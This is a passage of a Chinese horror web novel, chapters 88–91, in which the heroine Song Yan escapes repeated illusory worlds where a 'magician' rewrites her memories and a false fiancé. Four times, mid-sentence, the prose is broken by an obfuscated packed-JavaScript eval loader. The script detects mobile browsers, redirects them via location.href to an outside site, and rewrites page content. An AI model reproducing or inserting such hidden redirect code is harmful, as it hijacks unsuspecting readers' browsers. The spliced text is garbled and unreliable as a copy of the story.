如果心存疑虑,那说明你的第六感在保护你。宋言冷静地看着停在两米外的黑色小轿车,转身走回地铁站。 站内冷气开得很大,仿佛宋言刚才感受到的炎热是一种错觉。 她站在安检闸口前,久久不动。 后面的人催促她:“快点啊,不进去就别拦路!” 安检员见她脸色古怪,好心询问道:“女士,你需要帮助吗?” 宋言没有回答。 等安检员问第二遍时,她忽然侧过脸,问道:“你们安检......安检的不是包吗?” “你在开什么玩笑!”安检员笑了一声,“过安检的当然是人啊!” 安检员捧腹大笑,排在宋言身后的人也一个接一个笑起来,有的人笑着笑着下颌就裂开,脑袋滚出几米远,最后被另一具躯干捡起,安在自己头上。 安检员笑完,开始催促她:“快点吧,你后面还有很多人排队。” “就是,我赶着回家见老婆孩子,你不安检就滚一边去!” “哎呀呀,我赶飞机要迟到了,小姐,你快一点吧。” “还等她干什么!直接丢上闸机就好了!” 安检员面带微笑:“请吧。” 宋言犹豫片刻,点了点头。 她的同意仿佛按下了什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13047156|122531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么按钮,身后吵嚷的人又恢复了平静,欣慰地看着她朝安检闸走去。 宋言在传送带前停下,问道:“安检闸后是什么?” 安检员的微笑很标准,齐整整露出八颗牙齿,量角器都量不出错漏:“当然是地铁啊,女士,你可以到达任何想去的地方。” “是吗?”宋言顺着传送带看去,履带很长,像流水线工作车间,滚轮带动传送带不断向前运转。 宋言前面几个人已经随着履带被运到终点,一只酷似年兽的巨大怪物,铁齿铜牙,张开血盆大口,一口吞下送到嘴边的点心。 宋言回头,看到身后的人面容阴沉,安检员见她迟迟不动作,也拉下脸:“你为什么还不上去,后面还有很多人在等。” “我们都在等你,你为什么还不上去?” 宋言身后的人露出诡异的笑容,齐刷刷抬起头,注视着她。 宋言思考片刻,一只脚踏上传送带:“我马上。” 安检员握紧手持检测器,微笑道:“你最好是。” 下一秒,他的微笑消失了。 宋言一只脚踏上传送带,另一只脚却反身跳过来,踩在安检员背上,他还没反应过来,手中的检测器已经被抢走,宋言抱歉道:“不好意思,我改主意了。” 里三层外三层的队伍收紧,所有人脸上挂着一模一样的笑容,嘴角翘起,眼中却毫无笑意。 有的只是把宋言拆吃入腹的欲.望。 宋言掂量了下手里检测器的重量,一把拍飞一个朝她扑来的男人,趁此机会破开一个洞朝前奔去,一路势如破竹,很快冲出重围。 冲出地铁站的那一刻,灼烫的阳光洒在身上,她几乎有一种重获新生的错觉。 身后的人群被拦在站内,似乎畏惧室外的阳光,纷纷挤在站口,却没有人敢踏出一步。 宋言蹲在地上,缓缓调整呼吸,她心脏跳得有些快,震耳欲聋的心跳声一下一下撞击她的胸膛,几欲破膛而出。 宋言身前,响起两声滴滴声。 先前的小轿车摇下车窗,车内,一个国字脸的大叔微微蹙眉:“等了你好久,怎么还不上车?” 宋言缓缓起身。 她掏出手机,想再叫一辆车,却发现右上角的三格信号已经变成了零。 回头,是蠢蠢欲动的人群。 宋言很快做出决断。她拉开车门,坐进后座,车里冷气开得很足,宋言顿时感觉身上凉飕飕的。 但这辆车后座竟然有毯子。 宋言拉过毯子盖上,仍有些不放心,同司机搭话:“你来得好快。” 司机随口道:“我本来就在地铁口等着接单,这边客流量大。” 这个解释勉强能接受,宋言的心放下一半。不管这个司机是人是鬼,都比地铁站那群东西强。 司机又问道:“尾号8888的乘客,您要去锦绣花园17街区是吗?” 司机报出的,是她家的住址。 原本她是想先回家找个地方落脚的,但现在...... “不,现在不去那了。”宋言心念一转,报出另一个地址。 车辆缓缓启动。 许多人在焦虑时有强迫性重复行为,比如反复按动笔头,比如不断喝水。 宋言不觉得自己在焦虑,但她仍然习惯性摸了摸手腕,然后摸了个空。 ——小金不见了。 88. 帝都(十三) 088 * 宋言心中一凛,随即呼唤系统。 她没有得到回应。 小轿车进入高速,速度陡然加快,车窗两侧的景物飞快流逝,明明是炎夏,宋言胸口却一片冰凉。 那一瞬间,她心里甚至浮起一个念头,也许异世界光怪陆离的经历只是一场梦,梦醒了,系统和异界生物也就消失了。 但梦无法解释地铁站的异状。 宋言冷静下来,手指无意识地把皮质坐垫抠出五个小窝,低声道:“系统不一定是不在,也可能是——被屏蔽了。” 这个答案显然更容易让人接受。 心理学上有个概念叫自我防御机制,当人们难以接受存在的现实时,会找出各种使之合理化的理由。 可能是出于焦虑,也可能是出于对未知的恐惧。 小车驶入山林地段,林间多雾,烈日穿不透浓重的白雾,宋言摇下窗户,风声烈烈,如呼啸的虎。 车速慢慢放缓,最终在路中央停下。 司机继宋言上车后再一次开口,听上去有些烦躁:“前面堵车了。” 宋言透过前窗,隐约能看到前车的车牌,挨着他们停下。 宋言问道:“前面出车祸了?” 司机惜字如金:“也许。” 宋言盯着司机的后脑勺,提议道:“我们可以走另一条道,那条道没堵。” 司机没有回头,也没有说好或不好。 车内一时陷入沉默。 车外的雾气越来越浓,前方的车依旧没有动静。宋言果断道:“往前开,我赶时间。” 她补充道:“我付双倍车费。” 也许是这句话终于打动了司机,引擎缓缓发动,方向盘微微偏转,汽车驶上另一条单行道。 经过前车时,宋言微微偏头,看见车内五个人倒在座位上,方向盘上卡着一把银色左轮。 ...... 前方白雾越来越浓,可见度下降到40米,车流仍在井然有序地前行。 窗外闪过的景物从彩色过渡成灰白色,像老式电视机屏幕上的影像,隐隐绰绰,看不真切。 宋言专心盯着车前窗,前面是一辆货车,可视距离不足,周围的车辆都开启了大灯,冷白色的灯光在不同车辆间穿梭,看起来相当阴间。 车流缓慢前行。 近处,挂着蓝色的指路牌。最上面一栏是“西山机场1km”。 这就是宋言的目的地。 她让司机送她来最近的机场,打算坐最近的一趟航班,随便飞到哪里去。 如果是被拖入意识空间,这个空间也有范围限制,当它无法展开理论上应该有的地图时,在逻辑上就会自行崩塌。 打个比方,宋言知道世界上有X国存在,但她从未去过X国,那么脑内建构出的X国就只有零星几个画面,一旦变成实景,建模就会出现很多逻辑上的错误。 错误越多,宋言就越难认为这是真实。 况且宋言也很想知道,这个空间的边界在哪?楚门的世界尚且只能把楚门圈在摄影棚内,这个困住她的怪物最多能做到哪一步呢? 白雾愈发浓郁。 丝丝缕缕的灰白色雾气顺着缝隙进入车内,宋言裹紧了毯子,还是觉得有些冷。 她有些怀疑司机是不是偷偷把冷气调大了一档。 一缕火焰在指尖点燃,宋言终于感觉到一丝暖意。 车辆不再前行。 声音从驾驶位传来,“前面有车侧翻了。” 司机仍然没有回头。 车队如长龙,宋言看不到前面的情况,只能看见浓郁、诡谲的白雾。 车前灯闪烁了两下,倏地灭了,浓郁的雾气如史前怪兽的巨口,将小车吞没。 宋言瞳孔紧缩,呼吸骤然加快,语气坚决:“打开车门,我要下车。” 行动快过声音,她按住车门闸,往外一推,没推动。 车门锁住了。 宋言心念急转,握掌成拳,一拳砸烂窗玻璃,猫着腰从窗口跳出来。 离西山机场只有1km,她就算是走,十分钟内也可以到达。 车流仍然静止。 白雾越来越浓,周遭极为安静,宋言刚才砸碎玻璃发出的响声便显得尤为刺耳,宋言安静地往前走,忽觉不对。 高速上堵车,后面的人早该骂起来了,再不济也会开窗抽根烟冷静一下,可现在这些车就像是死了一样! 宋言心跳顿时漏了半拍。 冷白色的灯光交相辉映,在光束的交汇点,宋言眯起眼,望向驾驶位。 她看见了一点暗淡的银色光泽。 那是一根长钉。 司机的领口拉的很高,从侧面看才能看见钉帽。 那枚长钉完全贯入司机脖颈,如订书针一般将司机的头颅和脖颈钉在一起,他无法回头,否则长钉便会从侧颈滑出。 而此时,司机似有所感,骨骼咔咔作响,颈部的长钉移位。他缓缓侧过头,宋言正对上一双黑洞洞的眼! 他脸上只有两个窟窿,眼珠不知何时已经萎缩,原本嘴唇的位置,缝了一层白纱似的布。 宋言忽然明悟,司机为什么从上车起就不爱说话,偶尔说话也总是闷闷的。 长钉滑落,司机的头颅从脖颈上掉落,断裂处顿时涌出一层层黑色液体,从车内漫出来,流动速度极快。 那层液体长出细密的足肢,表面覆盖刚硬的绒毛,眨眼间便将前面的货车啃食得只剩下钢筋铁架。 周围顿时响起此起彼伏的尖叫声。细小的蜘蛛从货车上分出一道支流,涌入其他车辆。 它们从车门车窗的缝隙中钻入,将毒液注入车内人身体,用螯肢在那些人脑门开窗,尾端随之挤出米粒大小的卵。 僵硬的身体内渐渐响起细小的咀嚼声。不消片刻,车内人双眼双耳便涌出细密的黑色小蛛,肚腹高高涨起,像积食的孕妇。 更多的人跳车逃跑,在浓雾中摸索着前行,雾中看不清路,不时有人跌倒,然后被后面的人踩到背脊,发出刺耳的惨叫声。 宋言却忽然松了一口气。 未知总比直面恐惧更可怕。 西山机场离此地只有1km,宋言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13055099|122531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拔足狂奔,往高速出口的方向跑去。 一路上,很多人转而跑向宋言的方向。机场是离此地最近的建筑,高速上发生异变,明智的选择是赶紧从最近的出口撤离。 宋言忽然停住脚步。 她身后的人顿时撞到她背上,骂道:“艹,sb啊。” 然而等他抬起眼,后半句话自动咽回了肚子里。 迷茫的白雾里,一只巨大的足肢横跨天际,表面覆盖着漆黑的鳞片,边缘闪烁着冷硬的光,顺着足肢往上看,这巨大的异界生物上半身完全被白雾笼罩,只在云端投来遥遥一瞥,仿佛神灵冰冷而无情的凝视。 “艹艹艹......”他说不出话,只会机械性重复这几个字,膝盖一软,顿时跪倒在地。 宋言看得更远一些,那条巨大的足肢后,山林和城市,溃散成一个个像素点,仿若老旧电视机失去信号后的乱码。 这个世界有多大?答案就在眼前。 越来越多的人围过来,宋言语气有些讥讽:“这就到头了吗?我以为你会把地图做得更大一点。” 然而没有人回答。 有的只是越来越多围过来的人群,他们纷纷仰头看那条巨大的足肢,在自然的伟力面前,没有人不被震慑。他们像宋言身后那个人一样跪倒在地,脸上逐渐泛起一模一样的笑容。 虔诚而幸福。 宋言被挤挤搡搡,一群人把她围在正中间,进退不能,她环视一周,眼底尽是幸福的笑容,这些人仿佛忘记了自己最开始的欲.望,在见到异界生物的那一刻心神已经被夺走。 这场景太掉san,宋言咬了下舌尖,隐约尝到一丝血味,低声道:“你打算怎么做?污染我吗?” 宋言不觉得自己会被慑到,脸上露出这样的笑容......真是太蠢了。 她想离开这里,可是周围全是人,无从落脚。 那些人开始吟唱,歌声如潮水般涌入宋言耳中,即使堵上耳朵也能听见。 灰白色的天空碎裂成零散的像素点,像是出了bug的计算机程序,一些碎片落下来,压垮了一段高架桥。 看上去很像世界末日。 那些人站起身,举起双手,似乎是一个顶礼膜拜的姿势,朝宋言围拢来,宋言慢慢后退,看着他们幸福满足的笑容,冷静道:“如果你想杀了我,不必如此大费周章,这些人对我没威胁......所以我猜你不能在这里直接弄死我。” 宋言后背被护栏拦住,底下是一碧万顷的松林,此刻松树也被简化成几何图形,随风招摇。 她靠着护栏,继续分析:“这样其实很没意思,你玩这些小儿科的把戏,来恐吓我?我的san值掉到临界值会发生什么?被永远留在这里吗?” 宋言一连抛出几个问题,却没想获得答案,她注视着浩浩荡荡涌来的人群,这些人脸上都挂着病态的笑容,好像恐怖片相片里,幸福的一家人。 他们的笑容很有感染力,宋言看久了,嘴角也忍不住微微翘起。她不知在朝谁微笑:“既然你想留下我,那么,如你所愿。” 下一秒,她从栏杆上跳了下去。 89. 帝都(十四) 089 * “言言,言言——” 宋言睁开眼,看见一张熟悉的脸。 精致的五官在眼前放大,带来的冲击力无与伦比。 那双黑曜石般的眼睛里满是关切,柔声道:“言言,你怎么了?” 宋言没有立刻理他,而是先摸了摸自己的腹部,没有摸到一手粘腻才放下心,转而看向眼前的男人。 跳下高架桥后,她清晰地感觉到五脏六腑都滚了出来,肠子,也有可能是别的什么,洒了一地。 啧,这游戏濒死感做得还挺真实。 而眼前的男人...... 宋言视线带着些审视的意味,落在青年身上。 他身上的白衬衫带着柠檬洗涤剂的味道,被体温烘热,窜进宋言鼻腔。 似乎还有一股淡淡的青草味,闻起来像某个牌子的香水。 至于这张脸......宋言在他的脸上停留的时间有些长,对方便小狗一般蹭过来,讨好式地啄她的唇。 宋言侧脸躲过。 她看着这张熟悉又陌生的脸,无奈道:“这动作小金做起来还算可爱,你做起来,就只剩下惊吓了。” 青年半蹲在她身前,虚虚揽着她,明明是很亲昵的动作,宋言却心如止水,甚至有点想再点一个男模的欲.望。 宋言从椅子上爬起来,谢绝青年的搀扶,走到落地窗前,向下望去。 楼层很高,一眼能望到滨江大道一侧的江景,楼下却是十字路口,街景相当繁华。由此可以看出这地段绝不便宜,既在市中心,取景位置又极好。 站在这个位置俯视整座城市,人难免会生出自己就是世界的主人的错觉,可宋言站在这里,却感觉一阵头晕。 宋言直觉自己忘记了什么,但记忆丢失的内容又无足轻重,仿佛一片土壤从孤岛上割离,飘飘荡荡地游远,再难找回。 她不是受邀参加某个惊悚游戏的内测,进来测试这个游戏的娱乐性和难度的吗? 目前看来,这游戏惊悚程度还过得去,至少高架桥那里的剧情很精彩,而娱乐性......一进游戏就有帅气男角色投怀送抱应该满足了某些玩家的xp。 但这些和宋言都没有关系,她只是拿钱办事,给游戏增加测试数据而已。 她进游戏已经一天多了,家里小金还没有喂,现在估计已经在汪汪叫了。 等等......宋言揉了揉太阳穴,忽觉一阵头痛。 小金,真的是狗吗? 青年见状,从背后扶着她到沙发上休息。宋言靠着柔软的靠垫,想了半天,也没想出个所以然来。 宋言忽而抬眼,问道:“有纸和笔吗?” 青年疑惑地看了她一会,半晌,才从茶几底下翻出纸笔。 宋言没有犹豫,在白纸上写下一行字,然后折叠放入衣内口袋。 只是在提笔那一瞬,她心中忽然浮起一个念头——眼前这个人,应该是不会疑惑她要干什么的。 青年等她写完,从厨房里端来三菜一汤,道:“吃完后,我们开车去看你爸妈。” 宋言微微点头,测试时间还没有结束,她还要继续走主线剧情。 她夹起一块肉,放进嘴里,咀嚼了几下,突然放下筷子。 青年问道:“言言,你怎么不吃了?” 宋言皱眉道:“淡了。” “有吗?”青年眉尖微微蹙起,尝了一块,看着宋言摇头,“我觉得刚好,再说我先前没做过这道菜,你怎么会知道咸了还是淡了的?” 宋言思索片刻,似乎同意了这个解释:“只是感觉。” 青年微笑道:“感觉可能会欺骗你,但我不会。” 一顿饭很快吃完,临到上车,宋言忽然问道:“你叫什么?” 青年脸上笑意更甚:“言言又忘记我的姓名了?” 宋言把车开出车库,微微蹙眉:“什么叫又?” 青年慢条斯理道:“你升任总监后压力太大,甚至神经衰弱,总是容易忘事。” 总监? 宋言在一处红灯前停下,心中怀疑更甚,这游戏还是个职场背景? 青年语气加重,继续道:“我姓姜......你总是叫我小白。” 十字路口,直行变成绿灯。 宋言轻踩油门,车辆行驶到路中央时,忽然被一片阴影笼罩。 宋言瞳孔紧缩,猛打方向盘,下一秒,剧烈的爆炸声在耳边响起。 交警赶来的时候,现场已经烧起了一片火海,他在工作日志上写道:......黑色小轿车直行时与左转油罐车相撞,现场无人生还。 ...... 荒野。 水幕上,宋言的时间已经倒退回大学时期,现在上演的剧本是她在开学舞会上偶遇人气学长。 帷帽女子看着女孩冷脸拒绝男生的邀请,选了一个无人注意的角落坐下,嘴角微微翘起:“看来你的招数不是每次都灵验。” 魔术师不太在意:“不用百试百灵,灵一次就够了。至少现在,她还被困在我的域里,没有我的允许,她不可能出来。” 黑纱被掀开,露出女子俏丽的半张脸,她道:“我知道你的域特殊,可以直接操控人的意识,但是你是否太自大了,看样子,这个女孩一直在有意识地反抗你。” 听了这番奚落,魔术师却笑了一声,道:“反抗又如何,只要她离开我的域时,已经换了一层芯就行了,你听过忒修斯之船吗?” “如果一艘船上,所有的木板都被换过了,它还是原来的那艘船吗?同理,即使她一直在有意识地反抗我的入侵,可她无法抵抗我无孔不入的侵蚀。一个人是由记忆构成的,如果她的记忆、思想、性情都被我一点点替换了,你觉得,她还有反抗的资本吗?” 这个英俊的男人脸上浮起一个虚假的笑容,桃花眼潋滟生辉:“届时,不论是碎片,还是她,都属于我。” “毕竟,能让我感兴趣的人和物,实在不多,我当然要好好对待。” 女子回忆起魔术师曾经“好好对待”的对象,心底忍不住升起一阵恶寒。 魔术师还是给自己留了几分余地:“我不认为她能逃出我的域,只除开一种情况,那就是她也是那一位的棋子。” “但那怎么可能呢?祂从云端投下一瞥,凡人便当感恩,我已经是侥幸,世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13071901|122531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上不会存在另一种侥幸。” 时至今日,每当他看到火焰,仍会感到惧怕,即使它们和毁天灭地的神火有着天壤之别,但只要见过一次,余生都会活在祂的阴影下。 “可是......”女子沉吟出声,她想起第一个幻境里,那只巨大的黑色足肢,魔术师构建的幻境基于猎物的潜意识,可是那个女孩的潜意识里怎会出现如此宏伟的幻象。 除非她...... 女子心中冒出一个荒诞无比的猜想,她瞥了魔术师一眼,看到对方仍沉浸在过去的回忆中,忽然放下心来。 反正,要夺碎片的是他,绑人的也是他,真出了什么事,也是他一个人背锅。 和她有什么关系。 女子重新戴好帷帽。 “好了,该去看看我的新藏品了。”魔术师眯起眼,望着太阳升起的方向,“我记得我把她藏在......那边。” ...... ...... 花团锦簇,人声鼎沸。 宋言穿过一个又一个心形花桥,最终在台阶前停下。 牵引她的是一个穿着合体西服的男士,他一直没有回头,宋言只能看到他轮廓清晰的下颌线。 她面前是神父悲悯的笑容,他在胸前划了个十字,目光略过她,看向她身侧的男人。 “你是否愿意这个女人成为你的妻子与她缔结婚约?无论疾病还是健康......永远对她忠贞不渝直至生命尽头?” 宋言看到男人嘴角翘起,微微点头:“我愿意。” 周围立刻发出一阵欢呼,庆贺这对新人走入婚姻的殿堂。 神父脸上悲悯的笑容没有丝毫变化,他转过身,向宋言重复了一遍誓词。 “你愿意吗?”神父提醒道,“女士,你走神了吗?” 走神? 宋言回过神来,环视一周,周围是无边无际的花海,和面带幸福笑容的亲朋好友。 是了,未婚夫说要给自己一个惊喜,带她来这个海岛度假,而今天她刚刚醒来就被推进化妆室穿上婚纱,送来婚礼现场。 在亲朋好友艳羡的目光中,缓缓飘洒的花瓣里,宋言迟迟没有回答。 渐渐地,周围的议论声越来越大,神父的目光似乎也阴沉起来。 身侧的男人偏过头,神情关切:“怎么不说话,不舒服吗?” 宋言终于看清了他的脸。 那张脸相当俊美,黑曜石一般的眼睛闪烁了两下,问道:“是不是今天太早叫你了,言言,你看上去好疲惫。” 宋言盯着他看了一会,却道:“你好眼熟。” 话音落地,男人忽然笑了起来,唇边出现一个小梨涡:“言言,我是你的未婚夫,你当然看我眼熟。” “都开始说胡话了呀......”男人叹了口气,摇了摇头,转而对神父道,“今天就到这里吧,我的未婚妻累了,需要休息。” 神父眼神闪烁,试图阻拦:“可是只有一点点,这个仪式就完成了。” “但是我的未婚妻需要休息。”男人的语气不容置疑。 神父阴沉地看了宋言一眼,最终点头:“是,如您所愿。” 90. 帝都(十五) 090 * 回到卧室,墙壁上嵌着一块巨大的落地镜,镜中人鬓发如云,肤白胜雪,长长的纱裙拖到地上,似枝头一捧月光。 宋言盯着镜子里自己的时间过久,门口男人倚墙笑道:“不用看了,你就是最美的新娘。” “现在,新郎可以亲吻他的新娘了吗?” 宋言回头,警惕地看着他。 几乎是下意识的行为,她攥紧了飘逸的纱纱裙,道:“我们还没有结婚。” 男人失笑道:“开个玩笑,言言,你怎么当真了。” 宋言身体缓缓放松,她眼神中露出一点茫然:“我好像忘了很多事情......我忘了我们是怎么相爱的,我也忘了你叫什么。” “你每周一都会问我一遍这个问题,鱼的记忆只有七秒,而你的记忆有七天。”男人的气息从背后靠近,虚虚揽住她,“我慢慢告诉你,好吗?至于我的姓名......你从前叫我小白。” 卧室很大,淡蓝色的装修简洁明朗,透过窗台可以望见大片大片火红的赤羽花,一直燃烧到世界尽头。 宋言望着那片红色的花海,耳边传来情人般的低喃,“言言,我带你去林子里散散心好吗,那是我们第一次见面的地方。” 宋言转过头,那张俊美的面容在眼前放大,衣衫上传来淡淡的青草香味,她微微点头:“好,但你先出去等我,我要换衣服。” 男人顺从地出去,宋言关上门后,打开了房间里所有的柜子。 她发现了一本日记。 如男人所言,她每隔七天就会忘记很多事情,所以她用纸笔保存自己的记忆。 日记里记载的都是一些小事,比如他们何时第一次共进晚餐,何时第一次一起旅游...... 宋言看着看着,心头浮起一个疑惑,日记记载的都是她和他共度的时光,那,这些时光之外呢? 没有被记录,还是......日记主人根本没有恋爱之外的生活? 宋言心头一动,日记本掉到地上,掉出一张纸条。 宋言读出纸条上的句子。 [我是宋言,上一轮死于高空坠亡,小金还在等我回家。] [我死于油罐车爆炸,我有一条狗。] [我死于高速连环车祸。] [......我怕水,我喜欢狗,讨厌青草。] ...... [死亡不可怕,死亡是另一种新生。记住我说的话,下一个宋言,不要相信你的眼睛,你的情感,乃至于你的记忆......直觉,只有你的直觉不会被纂改。] ......直觉?相信自己的直觉这话她明白,可是死亡即新生是什么意思? 死亡不意味着死去?而是代表别的东西? 宋言皱起眉头。 门外传来轻轻的敲门声。 有人在催促她。 宋言把纸条叠成方块,塞进口袋,拉好拉链,冲门口道:“马上就好。” ...... ...... 林深露重,宋言挽起裤腿,露出一截洁白匀称的小腿,很快被横陈的杂草划破了皮。 她却仿佛感觉不到痛,径直往前走,身侧,青年穿着白衬衫牛仔裤,很像言情剧里的白月光学长。 晨光在他发间镀上一层柔光,他整个人看起来相当柔和,没有一丝一毫的攻击性,几只云雀飞过梢头,振翅声轻如薄纸,留下悉悉索索的余音。 他道:“言言,你知道吗,我第一次在这里见到你的时候,你还很小,跟着父母来这里度假,我后来才知道我们读的是同一所高中。” 青年嗓音清朗,如冷泉洗过的玉,听起来相当动人:“你那时候高傲又不近人情,我暗恋了你一整个高中,后来你上大学的时候,我想我终于可以和你告白,于是新生舞会上我想请你和我跳一支舞。” “那天你没有同意,我知道你是慢热的性子,我可以等到你说愿意的那天。于是我等啊等,终于在你二十八岁生日那天,同意了我的告白。” 青年微笑起来,脸上蒙上一层朦胧的白光,像神话里的天使。 他继续道:“而就在你接受我的告白的那天,查出了金鱼综合征,这是一种很罕见的病,你的记忆每隔七天会清空一次,周而复始。” “于是你开始写日记,拍照,做这些你从前根本不做的事情。你说,你想记住每一个七天。” “但我不在乎,言言,只要我们在一起就好了,我可以在每一个周一来临时,和你重新讲一遍你遗忘的事情。” 青年身上的青草香味越来越浓,他微笑着靠近宋言,高大的躯体投下一层浓重的阴影。 随着他的声音,宋言脑中渐渐浮现出一个个画面,教室里、舞会上、钢琴前...... 她好像真的和眼前人走过了那样漫长的岁月。 青年微微低头,转瞬就要触碰宋言的唇。 宋言闭上眼,手指微微收紧,不自觉碰到一侧的口袋。 隔着一层布料,她摸到一张被叠成正方形的纸条。 霎时,她忽然想起纸条上的那句话。 “不要相信你的眼睛,你的情感,乃至于你的记忆......直觉,只有你的直觉不会被纂改。” 宋言猛地睁开眼,后退半步,踩到半截干枯的落枝,不堪重负,发出“咔嚓”一声响,断了。 青年的吻落了空。 他抬起眼,眼中却不见懊恼,微笑道:“看来新郎还没有等到可以亲吻新娘的时候。” “不。”宋言斩钉截铁道,“是新郎永远得不到新娘的允许。” 青年脸上出现一丝错愕,那副永远微笑的完美面具仿佛裂开一角,宋言看着他的表情,心中忽然浮上一丝快意,道:“你知道你哪里出错了吗?你错就错在,你永远不是他。” “画虎画皮难画骨,你模仿的那个人我很熟悉,或者说我很喜欢,平心而论,你模仿得也很好,有几个瞬间,我真以为我要爱上你了。”宋言讥讽道。 “可是你知道吗,假的就是假的,永远变不成真的。即使你动过我的记忆、我的感情,即使所有人都和我说我们相爱——可是,不喜欢就是不喜欢。” 宋言指着自己心脏的位置,道:“我的心脏不会为你而跳动。” 她步步紧逼,他一步步后退。 直至退无可退。 青年被她顶在树上,微笑面具破碎后的面容阴晴不定,他半晌没有抬头,宋言辖制住他,问道:“谁派你来的?你想从我这里得到什么?” 许久,青年才抬起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13090531|122531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,纤长的眼睫挂着点点泪珠,仿若林间朝露。 四周传来悉悉索索的声音,如鸟雀低语。 宋言不为所动。 “也许是......”青年终于开口,脸颊两侧堆起不正常的酡红,语气惆怅,“一个吻?” “我们本该是一体。”青年忽而挣脱宋言的禁锢,腕骨气力之大让宋言难以抗衡,她踉跄几步,看到青年神情变化不定,抬起手嗅了嗅刚才宋言触碰过的地方。 他语气温柔得让人从心底发麻:“言言,我一直在你的身体里,直到那个没用的东西把你拉入他的域,我才有机会出来......我没有想模仿谁,是我只能以这个形式出现。” 他眨了眨眼,道:“如果言言不喜欢,我就换一张皮,或者......我们三个人在一起也可以。” 悉悉索索的声音越来越近。 一条藤蔓爬上宋言手腕,没等她觉得熟悉,她另一只手也被吊起来,整个人悬在空中,无法动弹。 仔细看,那根本不是藤蔓,是一根根坚韧的草,野草疯涨,竟有盖过树木的趋势,铺天盖地的绿色席卷而来,宋言整个人被吊在树上。 她心中恨意横生,开口却相当冷静:“好啊,我也觉得,我们三个人在一起可以考虑一下。” 闻言,青年拍手笑起来:“言言果真利落,我就知道你会同意。” 宋言低头道:“你先把我放下来。” “我不能放你。”青年摇了摇头,草蔓绑得更紧,“我要是放了你,你就不会同意了。” 宋言眨了眨眼,嘴角微微翘起:“我为什么不同意,多个长得不错的男人玩玩,我有什么好不同意的。” 她道:“你不是想吻我吗?现在,新郎可以亲吻他的新娘了。” 底下,青年盯着她脸侧的梨涡,咽了口唾沫,她高昂着头颅,看起来却是那么诱人,如果有人能令她低头...... 这念头陡然出现在他脑中,便如电流划过心间,他猝不及防被电了一下,转而是更深的眷念、沉醉,他想做的不止是吻她,还有吞噬她,占有她...... 宋言被缓缓放到地上。 她四肢的束缚并没有解除,只是能勉强站在地上,她仰头看眼前人,道:“我已经给你权限了,你不吻我吗?” 青年缓缓低下头。 他被一只手拦住。 黑曜石般的眼睛睁大,他有些疑惑。 宋言语气平静,像在下达什么命令:“解开我的手,我不接受接吻时被绑住。” 青年思量片刻,目光从她手腕移到双腿,似乎觉得双手的自由并不足以支撑她逃跑,缓缓点头。 草蔓从宋言双手抽离。 她脸上久违地露出一个笑,心情很好地贴上青年胸膛,他几乎能嗅到女孩发间的香味。 他有些受宠若惊,机械地任女孩捧起他的脸,慢慢印下一个吻。 冰凉的阳光落在他脸上,他腰间也忽地一凉。 一柄刀完全没入他腹部,只留下黑漆漆的刀柄暴.露在空气中。 女孩捧着他的脸,露出一个灿烂的笑。 即使她的心脏同时被暴起的草蔓洞穿。 在意识剩余的最后几秒,宋言蘸着自己的血,在纸条上写下几个字,囫囵塞进口袋。 91. 帝都(十六) 091 * “天怎么突然黑了?”胖墩抬头看了一眼天色,嘟囔道,“看样子要下雨,头儿,要不我们找个地方避一避。” 乌云压境,空气中弥漫着一股淡淡的泥土腥味,几滴雨落在姜夜白鼻尖,触感冰凉,他微微颔首。 青木给了他三张照片,一张照片上的人已经死了,其余两张,一个是蜜色皮肤的男人,一个是笑容甜蜜的少女。 胖墩看过这三张照片后,神色为难:“头儿,他们都是谁跟谁啊,很有名吗?” 当时,姜夜白盯着这几张照片,只是笑了下:“没什么名气,但这一行,不就是出名越早,死得越快吗。” 胖墩似懂非懂地点头。 除了意外横死的那一个,其余两人一个一直在帝都,一个这几日忽然跑到容平附近。鬼面对于被标记的人有一套自己的定位系统,帝都里不好查,但到了外面就不一定了。 就是不知道青木要的是生查,还是死查。 姜夜白思绪缓缓飘远,直到耳边响起胖墩惊喜的声音:“头儿,那边有个山洞!” 